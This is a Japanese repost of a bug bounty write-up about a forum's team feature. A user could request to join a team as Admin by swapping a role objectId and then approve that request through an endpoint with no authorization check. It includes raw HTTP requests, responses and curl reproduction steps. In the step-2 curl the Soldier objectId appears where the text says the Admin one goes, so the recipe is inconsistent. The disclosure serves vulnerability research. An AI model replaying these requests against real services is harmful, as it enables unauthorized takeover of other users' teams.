Hello there, ('ω')ノ
チーム全体の引き継ぎを。
脆弱性:
壊れたアクセス制御
ロジックの欠陥
記事:
https://tuhin1729.medium.com/full-team-takeover-678c79842065
今回は、誰かのチームを引き継ぐことができた発見の 1 つを。
序章:
基本的に、ターゲットは、人々が相互に交流したり、
他の人々とチームを作成したりできるフォーラムで。
チームの機能を分析しているときに、次の点に気づき。
1.ユーザはチームを作成できて。
2.他のユーザは、兵士、マネージャ、サポーターのいずれかの役割で
チームに参加するリクエストを送信できて。
ただし、管理者としてチームに参加するリクエストを送信することはできず。
すべての役割には、チーム内で実行が許可されている権限に基づいて、
異なる重要度レベル (1 ~ 10 の整数) があり。
たとえば、ロール サポーターは重要度レベル 10 (最低の権限) を持ち、
ロール管理者は重要度レベル 1 (最高の権限) を持って。
3.チームの管理者がユーザのチーム参加リクエストを承認すると、
そのユーザはそのチームの一員となり。
ただし、チーム内の誰でも許可できる権限を持つのは管理者だけで。
最初の問題 ー 管理者としてチームに参加するリクエストの送信:
Burp Suiteですべての HTTP リクエストを分析しているときに、
利用可能なすべてのロールを取得するリクエストがあることに気付き。
POST /functions/team-roles-get HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 2
Referer: https://redacted.com/
Origin: https://redacted.com
{}
応答をすぐにキャプチャすると次のようになり。
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 309
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, HEAD, OPTIONS, POST, PUT, DELETE
Access-Control-Allow-Origin: https://redacted.com
Date: Sun, 08 Jan 2023 05:18:59 GMT
Server: nginx
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: Express
X-Xss-Protection: 1; mode=block
{"result":[{"roleName":"Soldier","importance":4,"objectId":"ZwskfB2xQr","__type":"Object","className":"TeamRole"},{"roleName":"Admin","importance":1,"objectId":"QgtliC3yRs","__type":"Object","className":"TeamRole"},{"roleName":"Manager","importance":2,"objectId":"RhvmjD4zSt","__type":"Object","className":"TeamRole"},{"roleName":"Supporter","importance":10,"objectId":"ViuokE5aTu","__type":"Object","className":"TeamRole"}]}
基本的に、すべてのロール (管理者を含む)、その重要性、
objectId が応答で明らかになり。
ただし、UI を通じてチームの管理者になることをリクエストすることはできず。
ソルジャーとしてチームに参加するリクエストを送信しようとしたとき、
次の HTTP リクエストに気づき。
POST /functions/team-join-post HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 164
Referer: https://redacted.com/
X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g
Origin: https://redacted.com
{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"role":{"__type":"Pointer","className":"TeamRole","objectId":"ZwskfB2xQr"},"message":"1234"}
「MdpcbB6bpz」はチームの objectId で、「ZwskfB2xQr」はロール Soldier の
objectId で (/functions/team-roles-get の応答を参照)。
では、上記のリクエストで Soldier の objectId を Admin の objectId に
変更するとどうなるか。
何らかのエラーメッセージが出ると予想していましたが。
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 95
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, HEAD, OPTIONS, POST, PUT, DELETE
Access-Control-Allow-Origin: https://redacted.com
Date: Sun, 08 Jan 2023 06:37:56 GMT
Server: nginx
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: Express
X-Xss-Protection: 1; mode=block
{"result":{"awaitingApproval":true,"message":"1234","objectId":"GfqdcC7cqA","__type":"Object","className":"TeamMember"}}
リクエストは正常に送信されて。
「GfqdcC7cqA」はチーム参加リクエストの objectId で。
2番目の問題 ー 管理者に代わってチーム参加リクエストを承認する:
ここで、チームの管理者になるためにチーム参加リクエストを送信したとしても、
実際の管理者は自分らが申請した役割を明確に認識しているため、
リクエストを許可せず。
管理者アカウントにログインし、チーム参加リクエストを承認しようとしたときに
次の HTTP リクエストに気づき。
POST /functions/team-join-response-post HTTP/2
Host: redacted.com
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: application/json; charset=utf-8
Accept: */*
X-Session-Token: 6Y4z0L9p6N1d4O2d8G7w4Q9p4E3o1R3c6K0w0C9h
Origin: https://redacted.com
Referer: https://redacted.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"member":{"__type":"Pointer","className":"TeamMember","objectId":"GfqdcC7cqA"},"isApproved":true}
「MdpcbB6bpz」はチームの objectId で、「GfqdcC7cqA」は
チーム参加リクエストの objectId で (これについては前に説明して)。
では、これと同じ HTTP リクエストを他のユーザのアカウントから
送信したらどうなるか。
すぐに最初のアカウント (このチーム参加リクエストを送信したアカウント) に
ログインし、上記のリクエストを実行しすると管理者としてチームに参加して。
これで、チームの詳細を編集し、他のすべてのチーム参加リクエストを表示して
承認/拒否できるようになって。
上記の内容を読むのが面倒な方のために、短いバージョンを以下に示すと。
再現する手順:
1.Admin ロールの objectId を取得して。
tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-roles-get --data '{}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'
{"result":[{"roleName":"Soldier","importance":4,"objectId":"ZwskfB2xQr","__type":"Object","className":"TeamRole"},{"roleName":"Admin","importance":1,"objectId":"QgtliC3yRs","__type":"Object","className":"TeamRole"},{"roleName":"Manager","importance":2,"objectId":"RhvmjD4zSt","__type":"Object","className":"TeamRole"},{"roleName":"Supporter","importance":10,"objectId":"ViuokE5aTu","__type":"Object","className":"TeamRole"}]}
2.管理者としてチームに参加するリクエストを送信して。
tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-join-post --data '{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"role":{"__type":"Pointer","className":"TeamRole","objectId":"ZwskfB2xQr"},"message":"1234"}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'
{"result":{"awaitingApproval":true,"message":"1234","objectId":"GfqdcC7cqA","__type":"Object","className":"TeamMember"}}
3.objectId をコピーし、チーム参加リクエストを承認して。
tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-join-response-post --data '{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"member":{"__type":"Pointer","className":"TeamMember","objectId":"GfqdcC7cqA"},"isApproved":true}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'
{"result":true}
これであなたはチームの管理者になったことに注目して。
Best regards, (^^ゞ